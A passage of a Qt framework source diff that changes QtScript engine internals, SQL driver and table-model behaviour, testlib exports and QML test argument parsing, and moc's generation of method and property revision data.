JSC::ExecState* exec = d->currentFrame;
JSC::JSValue function = new (exec)QScript::FunctionWrapper(exec, length, JSC::Identifier(exec, ""), fun);
QScriptValue result = d->scriptValueFromJSCValue(function);
- result.setProperty(QLatin1String("prototype"), prototype, QScriptValue::Undeletable);
+ result.setProperty(QLatin1String("prototype"), prototype,
+ QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
const_cast<QScriptValue&>(prototype)
- .setProperty(QLatin1String("constructor"), result,
- QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ .setProperty(QLatin1String("constructor"), result, QScriptValue::SkipInEnumeration);
return result;
}
@@ -2347,9 +2357,9 @@ QScriptValue QScriptEngine::newFunction(QScriptEngine::FunctionSignature fun, in
JSC::JSValue function = new (exec)QScript::FunctionWrapper(exec, length, JSC::Identifier(exec, ""), fun);
QScriptValue result = d->scriptValueFromJSCValue(function);
QScriptValue proto = newObject();
- result.setProperty(QLatin1String("prototype"), proto, QScriptValue::Undeletable);
- proto.setProperty(QLatin1String("constructor"), result,
- QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ result.setProperty(QLatin1String("prototype"), proto,
+ QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ proto.setProperty(QLatin1String("constructor"), result, QScriptValue::SkipInEnumeration);
return result;
}
@@ -2365,9 +2375,9 @@ QScriptValue QScriptEngine::newFunction(QScriptEngine::FunctionWithArgSignature
JSC::JSValue function = new (exec)QScript::FunctionWithArgWrapper(exec, /*length=*/0, JSC::Identifier(exec, ""), fun, arg);
QScriptValue result = d->scriptValueFromJSCValue(function);
QScriptValue proto = newObject();
- result.setProperty(QLatin1String("prototype"), proto, QScriptValue::Undeletable);
- proto.setProperty(QLatin1String("constructor"), result,
- QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ result.setProperty(QLatin1String("prototype"), proto,
+ QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ proto.setProperty(QLatin1String("constructor"), result, QScriptValue::SkipInEnumeration);
return result;
}
@@ -2753,9 +2763,7 @@ JSC::CallFrame *QScriptEnginePrivate::pushContext(JSC::CallFrame *exec, JSC::JSV
if (!clearScopeChain) {
newCallFrame->init(0, /*vPC=*/0, exec->scopeChain(), exec, flags | ShouldRestoreCallFrame, argc, callee);
} else {
- JSC::JSObject *jscObject = originalGlobalObject();
- JSC::ScopeChainNode *scn = new JSC::ScopeChainNode(0, jscObject, &exec->globalData(), exec->lexicalGlobalObject(), jscObject);
- newCallFrame->init(0, /*vPC=*/0, scn, exec, flags | ShouldRestoreCallFrame, argc, callee);
+ newCallFrame->init(0, /*vPC=*/0, globalExec()->scopeChain(), exec, flags | ShouldRestoreCallFrame, argc, callee);
}
} else {
setContextFlags(newCallFrame, flags);
diff --git a/src/script/api/qscriptengine_p.h b/src/script/api/qscriptengine_p.h
index 05a8901..94d195e 100644
--- a/src/script/api/qscriptengine_p.h
+++ b/src/script/api/qscriptengine_p.h
@@ -56,6 +56,7 @@
#include "Debugger.h"
#include "ErrorInstance.h"
#include "JSArray.h"
+#include "Executable.h"
#include "Lexer.h"
#include "RefPtr.h"
#include "RegExpConstructor.h"
@@ -87,6 +88,7 @@ class QScriptEngineAgent;
class QScriptEnginePrivate;
class QScriptSyntaxCheckResult;
class QScriptEngine;
+class QScriptProgramPrivate;
namespace QScript
{
@@ -230,6 +232,8 @@ public:
static inline JSC::ExecState *frameForContext(QScriptContext *context);
static inline const JSC::ExecState *frameForContext(const QScriptContext *context);
+ static inline bool hasValidCodeBlockRegister(JSC::ExecState *frame);
+
JSC::JSGlobalObject *originalGlobalObject() const;
JSC::JSObject *getOriginalGlobalObjectProxy();
JSC::JSObject *customGlobalObject() const;
@@ -273,6 +277,10 @@ public:
static QScriptSyntaxCheckResult checkSyntax(const QString &program);
static bool canEvaluate(const QString &program);
+ inline void registerScriptProgram(QScriptProgramPrivate *program);
+ inline void unregisterScriptProgram(QScriptProgramPrivate *program);
+ void detachAllRegisteredScriptPrograms();
+
inline QScriptValuePrivate *allocateScriptValuePrivate(size_t);
inline void freeScriptValuePrivate(QScriptValuePrivate *p);
@@ -368,6 +376,7 @@ public:
static const int maxFreeScriptValues = 256;
int freeScriptValuesCount;
QScriptStringPrivate *registeredScriptStrings;
+ QSet<QScriptProgramPrivate*> registeredScriptPrograms;
QHash<int, QScriptTypeInfo*> m_typeInfos;
int processEventsInterval;
QScriptValue abortResult;
@@ -566,6 +575,18 @@ inline QByteArray convertToLatin1(const JSC::UString &str)
} // namespace QScript
+inline void QScriptEnginePrivate::registerScriptProgram(QScriptProgramPrivate *program)
+{
+ Q_ASSERT(!registeredScriptPrograms.contains(program));
+ registeredScriptPrograms.insert(program);
+}
+
+inline void QScriptEnginePrivate::unregisterScriptProgram(QScriptProgramPrivate *program)
+{
+ Q_ASSERT(registeredScriptPrograms.contains(program));
+ registeredScriptPrograms.remove(program);
+}
+
inline QScriptValuePrivate *QScriptEnginePrivate::allocateScriptValuePrivate(size_t size)
{
if (freeScriptValues) {
@@ -844,6 +865,21 @@ inline const JSC::ExecState *QScriptEnginePrivate::frameForContext(const QScript
return reinterpret_cast<const JSC::ExecState*>(context);
}
+inline bool QScriptEnginePrivate::hasValidCodeBlockRegister(JSC::ExecState *frame)
+{
+#if ENABLE(JIT)
+ // Frames created by the VM don't have their CodeBlock register
+ // initialized. We can detect such frames by checking if the
+ // callee is a host JSFunction.
+ JSC::JSObject *callee = frame->callee();
+ return !(callee && callee->inherits(&JSC::JSFunction::info)
+ && JSC::asFunction(callee)->isHostFunction());
+#else
+ Q_UNUSED(frame);
+ return true;
+#endif
+}
+
inline JSC::ExecState *QScriptEnginePrivate::globalExec() const
{
return originalGlobalObject()->globalExec();
diff --git a/src/script/api/qscriptprogram.cpp b/src/script/api/qscriptprogram.cpp
index da103bb..c0e2656 100644
--- a/src/script/api/qscriptprogram.cpp
+++ b/src/script/api/qscriptprogram.cpp
@@ -27,6 +27,7 @@
#include "qscriptengine.h"
#include "qscriptengine_p.h"
+#include "SamplingTool.h"
#include "Executable.h"
QT_BEGIN_NAMESPACE
@@ -64,6 +65,7 @@ QScriptProgramPrivate::~QScriptProgramPrivate()
if (engine) {
QScript::APIShim shim(engine);
_executable.clear();
+ engine->unregisterScriptProgram(this);
}
}
@@ -78,7 +80,10 @@ JSC::EvalExecutable *QScriptProgramPrivate::executable(JSC::ExecState *exec,
if (_executable) {
if (eng == engine)
return _executable.get();
- _executable = 0;
+ // "Migrating" to another engine; clean up old state
+ QScript::APIShim shim(engine);
+ _executable.clear();
+ engine->unregisterScriptProgram(this);
}
WTF::PassRefPtr<QScript::UStringSourceProviderWithFeedback> provider
= QScript::UStringSourceProviderWithFeedback::create(sourceCode, fileName, firstLineNumber, eng);
@@ -86,10 +91,19 @@ JSC::EvalExecutable *QScriptProgramPrivate::executable(JSC::ExecState *exec,
JSC::SourceCode source(provider, firstLineNumber); //after construction of SourceCode provider variable will be null.
_executable = JSC::EvalExecutable::create(exec, source);
engine = eng;
+ engine->registerScriptProgram(this);
isCompiled = false;
return _executable.get();
}
+void QScriptProgramPrivate::detachFromEngine()
+{
+ _executable.clear();
+ sourceId = -1;
+ isCompiled = false;
+ engine = 0;
+}
+
/*!
Constructs a null QScriptProgram.
*/
@@ -122,9 +136,6 @@ QScriptProgram::QScriptProgram(const QScriptProgram &other)
*/
QScriptProgram::~QScriptProgram()
{
- // Q_D(QScriptProgram);
- // if (d->engine && (d->ref == 1))
- // d->engine->unregisterScriptProgram(d);
}
/*!
@@ -132,9 +143,6 @@ QScriptProgram::~QScriptProgram()
*/
QScriptProgram &QScriptProgram::operator=(const QScriptProgram &other)
{
- // if (d_func() && d_func()->engine && (d_func()->ref == 1))
- // d_func()->engine->unregisterScriptProgram(d_func());
- // }
d_ptr = other.d_ptr;
return *this;
}
diff --git a/src/script/api/qscriptprogram_p.h b/src/script/api/qscriptprogram_p.h
index d2fd234..e7809ab 100644
--- a/src/script/api/qscriptprogram_p.h
+++ b/src/script/api/qscriptprogram_p.h
@@ -61,6 +61,7 @@ public:
JSC::EvalExecutable *executable(JSC::ExecState *exec,
QScriptEnginePrivate *engine);
+ void detachFromEngine();
QBasicAtomicInt ref;
diff --git a/src/script/bridge/qscriptclassobject.cpp b/src/script/bridge/qscriptclassobject.cpp
index 9285883..2085756 100644
--- a/src/script/bridge/qscriptclassobject.cpp
+++ b/src/script/bridge/qscriptclassobject.cpp
@@ -183,6 +183,10 @@ void ClassObjectDelegate::getOwnPropertyNames(QScriptObject* object, JSC::ExecSt
JSC::PropertyNameArray &propertyNames,
JSC::EnumerationMode mode)
{
+ // For compatibility with the old back-end, normal JS properties
+ // are added first.
+ QScriptObjectDelegate::getOwnPropertyNames(object, exec, propertyNames, mode);
+
QScriptEnginePrivate *engine = scriptEngineFromExec(exec);
QScript::SaveFrameHelper saveFrame(engine, exec);
QScriptValue scriptObject = engine->scriptValueFromJSCValue(object);
@@ -195,7 +199,6 @@ void ClassObjectDelegate::getOwnPropertyNames(QScriptObject* object, JSC::ExecSt
}
delete it;
}
- QScriptObjectDelegate::getOwnPropertyNames(object, exec, propertyNames, mode);
}
JSC::CallType ClassObjectDelegate::getCallData(QScriptObject*, JSC::CallData &callData)
diff --git a/src/script/bridge/qscriptdeclarativeclass.cpp b/src/script/bridge/qscriptdeclarativeclass.cpp
index 0dcf1ec..6126b32 100644
--- a/src/script/bridge/qscriptdeclarativeclass.cpp
+++ b/src/script/bridge/qscriptdeclarativeclass.cpp
@@ -179,6 +179,11 @@ QScriptDeclarativeClass::PersistentIdentifier::operator=(const PersistentIdentif
return *this;
}
+QString QScriptDeclarativeClass::PersistentIdentifier::toString() const
+{
+ return ((JSC::Identifier &)d).ustring();
+}
+
QScriptDeclarativeClass::QScriptDeclarativeClass(QScriptEngine *engine)
: d_ptr(new QScriptDeclarativeClassPrivate)
{
@@ -468,6 +473,14 @@ QString QScriptDeclarativeClass::toString(const Identifier &identifier)
return QString((QChar *)r->data(), r->size());
}
+bool QScriptDeclarativeClass::startsWithUpper(const Identifier &identifier)
+{
+ JSC::UString::Rep *r = (JSC::UString::Rep *)identifier;
+ if (r->size() < 1)
+ return false;
+ return QChar::category((ushort)(r->data()[0])) == QChar::Letter_Uppercase;
+}
+
quint32 QScriptDeclarativeClass::toArrayIndex(const Identifier &identifier, bool *ok)
{
JSC::UString::Rep *r = (JSC::UString::Rep *)identifier;
diff --git a/src/script/bridge/qscriptdeclarativeclass_p.h b/src/script/bridge/qscriptdeclarativeclass_p.h
index 25dc396..e4c18f5 100644
--- a/src/script/bridge/qscriptdeclarativeclass_p.h
+++ b/src/script/bridge/qscriptdeclarativeclass_p.h
@@ -107,6 +107,7 @@ public:
PersistentIdentifier(const PersistentIdentifier &other);
PersistentIdentifier &operator=(const PersistentIdentifier &other);
+ QString toString() const;
private:
friend class QScriptDeclarativeClass;
PersistentIdentifier(QScriptEnginePrivate *e) : identifier(0), engine(e), d(0) {}
@@ -126,6 +127,7 @@ public:
PersistentIdentifier createPersistentIdentifier(const Identifier &);
QString toString(const Identifier &);
+ bool startsWithUpper(const Identifier &);
quint32 toArrayIndex(const Identifier &, bool *ok);
virtual QScriptClass::QueryFlags queryProperty(Object *, const Identifier &,
diff --git a/src/script/script.pro b/src/script/script.pro
index 34f4a88..ce5c778 100644
--- a/src/script/script.pro
+++ b/src/script/script.pro
@@ -89,7 +89,6 @@ include(script.pri)
symbian {
TARGET.UID3=0x2001B2E1
- LIBS += -lhal
}
symbian {
@@ -102,5 +101,9 @@ symbian {
QMAKE_CXXFLAGS.ARMCC += -OTime -O3
}
+integrity {
+ CFLAGS += --diag_remark=236,82
+}
+
# WebKit doesn't compile in C++0x mode
*-g++*:QMAKE_CXXFLAGS -= -std=c++0x -std=gnu++0x
diff --git a/src/sql/drivers/oci/qsql_oci.h b/src/sql/drivers/oci/qsql_oci.h
index 51fd14c..22bd78d 100644
--- a/src/sql/drivers/oci/qsql_oci.h
+++ b/src/sql/drivers/oci/qsql_oci.h
@@ -54,6 +54,9 @@
QT_BEGIN_HEADER
+typedef struct OCIEnv OCIEnv;
+typedef struct OCISvcCtx OCISvcCtx;
+
QT_BEGIN_NAMESPACE
class QOCIDriver;
@@ -61,9 +64,6 @@ class QOCICols;
struct QOCIDriverPrivate;
struct QOCIResultPrivate;
-typedef struct OCIEnv OCIEnv;
-typedef struct OCISvcCtx OCISvcCtx;
-
class Q_EXPORT_SQLDRIVER_OCI QOCIResult : public QSqlCachedResult
{
friend class QOCIDriver;
diff --git a/src/sql/drivers/odbc/qsql_odbc.cpp b/src/sql/drivers/odbc/qsql_odbc.cpp
index 1573d02..0b534d9 100644
--- a/src/sql/drivers/odbc/qsql_odbc.cpp
+++ b/src/sql/drivers/odbc/qsql_odbc.cpp
@@ -214,7 +214,7 @@ static QString qWarnODBCHandle(int handleType, SQLHANDLE handle, int *nativeCode
state_,
&nativeCode_,
0,
- NULL,
+ 0,
&msgLen);
if ((r == SQL_SUCCESS || r == SQL_SUCCESS_WITH_INFO) && msgLen > 0)
description_.resize(msgLen+1);
diff --git a/src/sql/drivers/psql/qsql_psql.cpp b/src/sql/drivers/psql/qsql_psql.cpp
index 5a32d1a..34277b3 100644
--- a/src/sql/drivers/psql/qsql_psql.cpp
+++ b/src/sql/drivers/psql/qsql_psql.cpp
@@ -1021,6 +1021,9 @@ QSqlIndex QPSQLDriver::primaryIndex(const QString& tablename) const
stmt = stmt.arg(QString::fromLatin1("pg_class.relnamespace = (select oid from "
"pg_namespace where pg_namespace.nspname = '%1') AND ").arg(schema));
break;
+ case QPSQLDriver::VersionUnknown:
+ qFatal("PSQL version is unknown");
+ break;
}
i.exec(stmt.arg(tbl));
@@ -1110,6 +1113,9 @@ QSqlRecord QPSQLDriver::record(const QString& tablename) const
stmt = stmt.arg(QString::fromLatin1("pg_class.relnamespace = (select oid from "
"pg_namespace where pg_namespace.nspname = '%1')").arg(schema));
break;
+ case QPSQLDriver::VersionUnknown:
+ qFatal("PSQL version is unknown");
+ break;
}
QSqlQuery query(createResult());
diff --git a/src/sql/kernel/qsqldatabase.cpp b/src/sql/kernel/qsqldatabase.cpp
index 66808c8..b0ae8d9 100644
--- a/src/sql/kernel/qsqldatabase.cpp
+++ b/src/sql/kernel/qsqldatabase.cpp
@@ -798,7 +798,7 @@ void QSqlDatabasePrivate::init(const QString &type)
Destroys the object and frees any allocated resources.
If this is the last QSqlDatabase object that uses a certain
- database connection, the is automatically closed.
+ database connection, the database connection is automatically closed.
\sa close()
*/
diff --git a/src/sql/kernel/qsqlquery.cpp b/src/sql/kernel/qsqlquery.cpp
index 4b92a3e..3cdc8b1 100644
--- a/src/sql/kernel/qsqlquery.cpp
+++ b/src/sql/kernel/qsqlquery.cpp
@@ -272,7 +272,7 @@ static void qInit(QSqlQuery *q, const QString& query, QSqlDatabase db)
/*!
Constructs a QSqlQuery object using the SQL \a query and the
- database \a db. If \a db is not specified, the application's
+ database \a db. If \a db is not specified, or is invalid, the application's
default database is used. If \a query is not an empty string, it
will be executed.
@@ -286,6 +286,7 @@ QSqlQuery::QSqlQuery(const QString& query, QSqlDatabase db)
/*!
Constructs a QSqlQuery object using the database \a db.
+ If \a db is invalid, the application's default database will be used.
\sa QSqlDatabase
*/
diff --git a/src/sql/models/qsqlquerymodel.cpp b/src/sql/models/qsqlquerymodel.cpp
index 8730192..d1051de 100644
--- a/src/sql/models/qsqlquerymodel.cpp
+++ b/src/sql/models/qsqlquerymodel.cpp
@@ -279,7 +279,11 @@ QVariant QSqlQueryModel::headerData(int section, Qt::Orientation orientation, in
val = d->headers.value(section).value(Qt::EditRole);
if (val.isValid())
return val;
- if (role == Qt::DisplayRole && d->rec.count() > section)
+
+ // See if it's an inserted column (iiq.column() != -1)
+ QModelIndex dItem = indexInQuery(createIndex(0, section));
+
+ if (role == Qt::DisplayRole && d->rec.count() > section && dItem.column() != -1)
return d->rec.fieldName(section);
}
return QAbstractItemModel::headerData(section, orientation, role);
@@ -306,6 +310,8 @@ void QSqlQueryModel::queryChange()
lastError() can be used to retrieve verbose information if there
was an error setting the query.
+ \note Calling setQuery() will remove any inserted columns.
+
\sa query(), QSqlQuery::isActive(), QSqlQuery::setForwardOnly(), lastError()
*/
void QSqlQueryModel::setQuery(const QSqlQuery &query)
@@ -370,7 +376,8 @@ void QSqlQueryModel::setQuery(const QSqlQuery &query)
/*! \overload
Executes the query \a query for the given database connection \a
- db. If no database is specified, the default connection is used.
+ db. If no database (or an invalid database) is specified, the
+ default connection is used.
lastError() can be used to retrieve verbose information if there
was an error setting the query.
diff --git a/src/sql/models/qsqltablemodel.cpp b/src/sql/models/qsqltablemodel.cpp
index 3bb46cc..bf7c0aa 100644
--- a/src/sql/models/qsqltablemodel.cpp
+++ b/src/sql/models/qsqltablemodel.cpp
@@ -393,6 +393,8 @@ QString QSqlTableModel::tableName() const
specified filter and sort condition, and returns true if successful; otherwise
returns false.
+ \note Calling select() will revert any unsubmitted changes and remove any inserted columns.
+
\sa setTable(), setFilter(), selectStatement()
*/
bool QSqlTableModel::select()
@@ -423,6 +425,10 @@ QVariant QSqlTableModel::data(const QModelIndex &index, int role) const
if (!index.isValid() || (role != Qt::DisplayRole && role != Qt::EditRole))
return QVariant();
+ // Problem.. we need to use QSQM::indexInQuery to handle inserted columns
+ // but inserted rows we need to handle
+ // and indexInQuery is not virtual (grrr) so any values we pass to QSQM need
+ // to handle the insertedRows
QModelIndex item = indexInQuery(index);
switch (d->strategy) {
@@ -450,7 +456,9 @@ QVariant QSqlTableModel::data(const QModelIndex &index, int role) const
return var;
break; }
}
- return QSqlQueryModel::data(item, role);
+
+ // We need to handle row mapping here, but not column mapping
+ return QSqlQueryModel::data(index.sibling(item.row(), index.column()), role);
}
/*!
@@ -649,7 +657,7 @@ bool QSqlTableModel::insertRowIntoTable(const QSqlRecord &values)
return false;
}
- return d->exec(stmt, prepStatement, rec);
+ return d->exec(stmt, prepStatement, rec, QSqlRecord() /* no where values */);
}
/*!
@@ -687,7 +695,7 @@ bool QSqlTableModel::deleteRowFromTable(int row)
}
stmt.append(QLatin1Char(' ')).append(where);
- return d->exec(stmt, prepStatement, whereValues);
+ return d->exec(stmt, prepStatement, QSqlRecord() /* no new values */, whereValues);
}
/*!
@@ -1095,9 +1103,12 @@ bool QSqlTableModel::removeRows(int row, int count, const QModelIndex &parent)
int idx = row + i;
if (idx >= rowCount())
return false;
- if (d->cache.value(idx).op == QSqlTableModelPrivate::Insert)
+ if (d->cache.value(idx).op == QSqlTableModelPrivate::Insert) {
revertRow(idx);
- else {
+ // Reverting a row means all the other cache entries have been adjusted downwards
+ // so fake this by adjusting row
+ --row;
+ } else {
d->cache[idx].op = QSqlTableModelPrivate::Delete;
d->cache[idx].primaryValues = d->primaryValues(indexInQuery(createIndex(idx, 0)).row());
emit headerDataChanged(Qt::Vertical, idx, idx);
@@ -1225,7 +1236,7 @@ int QSqlTableModel::rowCount(const QModelIndex &parent) const
QModelIndex QSqlTableModel::indexInQuery(const QModelIndex &item) const
{
Q_D(const QSqlTableModel);
- const QModelIndex it = QSqlQueryModel::indexInQuery(item);
+ const QModelIndex it = QSqlQueryModel::indexInQuery(item); // this adjusts columns only
if (d->strategy == OnManualSubmit) {
int rowOffset = 0;
QSqlTableModelPrivate::CacheMap::ConstIterator i = d->cache.constBegin();
@@ -1332,6 +1343,9 @@ bool QSqlTableModel::setRecord(int row, const QSqlRecord &record)
else
mrow.rec.setValue(idx, record.value(i));
}
+
+ if (isOk)
+ emit dataChanged(createIndex(row, 0), createIndex(row, columnCount() - 1));
return isOk; }
}
return false;
diff --git a/src/sql/models/qsqltablemodel_p.h b/src/sql/models/qsqltablemodel_p.h
index d2b96e6..f4f3811 100644
--- a/src/sql/models/qsqltablemodel_p.h
+++ b/src/sql/models/qsqltablemodel_p.h
@@ -75,7 +75,7 @@ public:
QSqlRecord record(const QVector<QVariant> &values) const;
bool exec(const QString &stmt, bool prepStatement,
- const QSqlRecord &rec, const QSqlRecord &whereValues = QSqlRecord());
+ const QSqlRecord &rec, const QSqlRecord &whereValues);
virtual void revertCachedRow(int row);
void revertInsertedRow();
bool setRecord(int row, const QSqlRecord &record);
diff --git a/src/sql/sql.pro b/src/sql/sql.pro
index 54f4289..81aa3c0 100644
--- a/src/sql/sql.pro
+++ b/src/sql/sql.pro
@@ -20,7 +20,10 @@ include(models/models.pri)
symbian: {
TARGET.UID3=0x2001E61D
- # Workaroud for problems with paging this dll
- MMP_RULES -= PAGED
- MMP_RULES *= UNPAGED
+ # Problems using data exports from this DLL mean that we can't page it on releases that don't support
+ # data exports (currently that's any release before Symbian^3)
+ pagingBlock = "$${LITERAL_HASH}ifndef SYMBIAN_DLL_DATA_EXPORTS_SUPPORTED" \
+ "UNPAGED" \
+ "$${LITERAL_HASH}endif"
+ MMP_RULES += pagingBlock
}
diff --git a/src/src.pro b/src/src.pro
index c07d399..0908911 100644
--- a/src/src.pro
+++ b/src/src.pro
@@ -109,10 +109,11 @@ src_webkit_declarative.target = sub-webkitdeclarative
src_phonon.depends = src_gui
src_multimedia.depends = src_gui
contains(QT_CONFIG, opengl):src_multimedia.depends += src_opengl
- src_tools_activeqt.depends = src_tools_idc src_gui
+ src_activeqt.depends = src_tools_idc src_gui
src_declarative.depends = src_gui src_script src_network
src_plugins.depends = src_gui src_sql src_svg
contains(QT_CONFIG, multimedia):src_plugins.depends += src_multimedia
+ contains(QT_CONFIG, declarative):src_plugins.depends += src_declarative
src_s60installs.depends = $$TOOLS_SUBDIRS $$SRC_SUBDIRS
src_s60installs.depends -= src_s60installs
src_imports.depends = src_gui src_declarative
diff --git a/src/testlib/qbenchmark_p.h b/src/testlib/qbenchmark_p.h
index 9a83a1a..ace17db 100644
--- a/src/testlib/qbenchmark_p.h
+++ b/src/testlib/qbenchmark_p.h
@@ -130,7 +130,7 @@ public:
QBenchmarkGlobalData:current is created at the beginning of qExec()
and cleared at the end.
*/
-class QBenchmarkGlobalData
+class Q_TESTLIB_EXPORT QBenchmarkGlobalData
{
public:
static QBenchmarkGlobalData *current;
@@ -161,7 +161,7 @@ private:
created at the beginning of qInvokeTestMethod() and cleared at
the end.
*/
-class QBenchmarkTestMethodData
+class Q_TESTLIB_EXPORT QBenchmarkTestMethodData
{
public:
static QBenchmarkTestMethodData *current;
diff --git a/src/testlib/qtestcase.cpp b/src/testlib/qtestcase.cpp
index 55f5fbe..287d8e6 100644
--- a/src/testlib/qtestcase.cpp
+++ b/src/testlib/qtestcase.cpp
@@ -1014,6 +1014,10 @@ static bool isValidSlot(const QMetaMethod &sl)
return true;
}
+Q_TESTLIB_EXPORT bool printAvailableFunctions = false;
+Q_TESTLIB_EXPORT QStringList testFunctions;
+Q_TESTLIB_EXPORT QStringList testTags;
+
static void qPrintTestSlots()
{
for (int i = 0; i < QTest::currentTestObject->metaObject()->methodCount(); ++i) {
@@ -1034,7 +1038,7 @@ static int qToInt(char *str)
return l;
}
-static void qParseArgs(int argc, char *argv[])
+Q_TESTLIB_EXPORT void qtest_qParseArgs(int argc, char *argv[], bool qml)
{
const char *testOptions =
" options:\n"
@@ -1084,8 +1088,12 @@ static void qParseArgs(int argc, char *argv[])
"%s", argv[0], testOptions);
exit(0);
} else if (strcmp(argv[i], "-functions") == 0) {
- qPrintTestSlots();
- exit(0);
+ if (qml) {
+ QTest::printAvailableFunctions = true;
+ } else {
+ qPrintTestSlots();
+ exit(0);
+ }
} else if(strcmp(argv[i], "-xunitxml") == 0){
QTestLog::setLogMode(QTestLog::XunitXML);
} else if (strcmp(argv[i], "-xml") == 0) {
@@ -1221,6 +1229,32 @@ static void qParseArgs(int argc, char *argv[])
} else if (argv[i][0] == '-') {
printf("Unknown option: '%s'\n\n%s", argv[i], testOptions);
exit(1);
+ } else if (qml) {
+ // We can't check the availability of test functions until
+ // we load the QML files. So just store the data for now.
+ int colon = -1;
+ int offset;
+ for(offset = 0; *(argv[i]+offset); ++offset) {
+ if (*(argv[i]+offset) == ':') {
+ if (*(argv[i]+offset+1) == ':') {
+ // "::" is used as a test name separator.
+ // e.g. "ClickTests::test_click:row1".
+ ++offset;
+ } else {
+ colon = offset;
+ break;
+ }
+ }
+ }
+ if (colon == -1) {
+ QTest::testFunctions += QString::fromLatin1(argv[i]);
+ QTest::testTags += QString();
+ } else {
+ QTest::testFunctions +=
+ QString::fromLatin1(argv[i], colon);
+ QTest::testTags +=
+ QString::fromLatin1(argv[i] + colon + 1);
+ }
} else {
if (!QTest::testFuncs) {
QTest::testFuncs = new QTest::TestFunction[512];
@@ -1625,6 +1659,14 @@ private:
void FatalSignalHandler::signal(int signum)
{
qFatal("Received signal %d", signum);
+#if defined(Q_OS_INTEGRITY)
+ {
+ struct sigaction act;
+ memset(&act, 0, sizeof(struct sigaction));
+ act.sa_handler = SIG_DFL;
+ sigaction(signum, &act, NULL);
+ }
+#endif
}
FatalSignalHandler::FatalSignalHandler()
@@ -1639,8 +1681,9 @@ FatalSignalHandler::FatalSignalHandler()
act.sa_handler = FatalSignalHandler::signal;
// Remove the handler after it is invoked.
+#if !defined(Q_OS_INTEGRITY)
act.sa_flags = SA_RESETHAND;
-
+#endif
// Block all fatal signals in our signal handler so we don't try to close
// the testlog twice.
sigemptyset(&act.sa_mask);
@@ -1785,7 +1828,7 @@ int QTest::qExec(QObject *testObject, int argc, char **argv)
QTEST_ASSERT(metaObject);
QTestResult::setCurrentTestObject(metaObject->className());
- qParseArgs(argc, argv);
+ qtest_qParseArgs(argc, argv, false);
if (QTest::randomOrder) {
seedRandom();
}
diff --git a/src/testlib/qtestlog_p.h b/src/testlib/qtestlog_p.h
index 59282fd..a892d3d 100644
--- a/src/testlib/qtestlog_p.h
+++ b/src/testlib/qtestlog_p.h
@@ -59,7 +59,7 @@ QT_BEGIN_NAMESPACE
class QBenchmarkResult;
-class QTestLog
+class Q_TESTLIB_EXPORT QTestLog
{
public:
enum LogMode { Plain = 0, XML, LightXML, XunitXML };
diff --git a/src/testlib/qtestmouse.h b/src/testlib/qtestmouse.h
index 35752b0..5abb019 100644
--- a/src/testlib/qtestmouse.h
+++ b/src/testlib/qtestmouse.h
@@ -107,7 +107,11 @@ namespace QTest
break;
case MouseMove:
QCursor::setPos(widget->mapToGlobal(pos));
+#ifdef QT_MAC_USE_COCOA
+ QTest::qWait(20);
+#else
qApp->processEvents();
+#endif
return;
default:
QTEST_ASSERT(false);
diff --git a/src/testlib/qtestresult_p.h b/src/testlib/qtestresult_p.h
index 15523f5..7ff120a 100644
--- a/src/testlib/qtestresult_p.h
+++ b/src/testlib/qtestresult_p.h
@@ -60,7 +60,7 @@ QT_BEGIN_NAMESPACE
class QTestResultPrivate;
class QTestData;
-class QTestResult
+class Q_TESTLIB_EXPORT QTestResult
{
public:
enum TestLocation { NoWhere = 0, DataFunc = 1, InitFunc = 2, Func = 3, CleanupFunc = 4 };
diff --git a/src/testlib/qtesttable_p.h b/src/testlib/qtesttable_p.h
index d085b57..f835506 100644
--- a/src/testlib/qtesttable_p.h
+++ b/src/testlib/qtesttable_p.h
@@ -60,7 +60,7 @@ QT_BEGIN_NAMESPACE
class QTestData;
class QTestTablePrivate;
-class QTestTable
+class Q_TESTLIB_EXPORT QTestTable
{
public:
QTestTable();
diff --git a/src/tools/moc/generator.cpp b/src/tools/moc/generator.cpp
index 222e5f6..4df7ae5 100644
--- a/src/tools/moc/generator.cpp
+++ b/src/tools/moc/generator.cpp
@@ -181,10 +181,14 @@ void Generator::generateCode()
int methodCount = cdef->signalList.count() + cdef->slotList.count() + cdef->methodList.count();
fprintf(out, " %4d, %4d, // methods\n", methodCount, methodCount ? index : 0);
index += methodCount * 5;
+ if (cdef->revisionedMethods)
+ index += methodCount;
fprintf(out, " %4d, %4d, // properties\n", cdef->propertyList.count(), cdef->propertyList.count() ? index : 0);
index += cdef->propertyList.count() * 3;
if(cdef->notifyableProperties)
index += cdef->propertyList.count();
+ if (cdef->revisionedProperties)
+ index += cdef->propertyList.count();
fprintf(out, " %4d, %4d, // enums/sets\n", cdef->enumList.count(), cdef->enumList.count() ? index : 0);
int enumsIndex = index;
@@ -217,6 +221,14 @@ void Generator::generateCode()
//
generateFunctions(cdef->methodList, "method", MethodMethod);
+//
+// Build method version arrays
+//
+ if (cdef->revisionedMethods) {
+ generateFunctionRevisions(cdef->signalList, "signal");
+ generateFunctionRevisions(cdef->slotList, "slot");
+ generateFunctionRevisions(cdef->methodList, "method");
+ }
//
// Build property array
@@ -456,7 +468,7 @@ void Generator::generateFunctions(QList<FunctionDef>& list, const char *functype
}
sig += ')';
- char flags = type;
+ unsigned char flags = type;
if (f.access == FunctionDef::Private)
flags |= AccessPrivate;
else if (f.access == FunctionDef::Public)
@@ -475,11 +487,23 @@ void Generator::generateFunctions(QList<FunctionDef>& list, const char *functype
flags |= MethodCloned;
if (f.isScriptable)
flags |= MethodScriptable;
+ if (f.revision > 0)
+ flags |= MethodRevisioned;
fprintf(out, " %4d, %4d, %4d, %4d, 0x%02x,\n", strreg(sig),
strreg(arguments), strreg(f.normalizedType), strreg(f.tag), flags);
}
}
+void Generator::generateFunctionRevisions(QList<FunctionDef>& list, const char *functype)
+{
+ if (list.count())
+ fprintf(out, "\n // %ss: revision\n", functype);
+ for (int i = 0; i < list.count(); ++i) {
+ const FunctionDef &f = list.at(i);
+ fprintf(out, " %4d,\n", f.revision);
+ }
+}
+
void Generator::generateProperties()
{
//
@@ -537,6 +561,9 @@ void Generator::generateProperties()
if (p.notifyId != -1)
flags |= Notify;
+ if (p.revision > 0)
+ flags |= Revisioned;
+
if (p.constant)
flags |= Constant;
if (p.final)
@@ -562,6 +589,13 @@ void Generator::generateProperties()
p.notifyId);
}
}
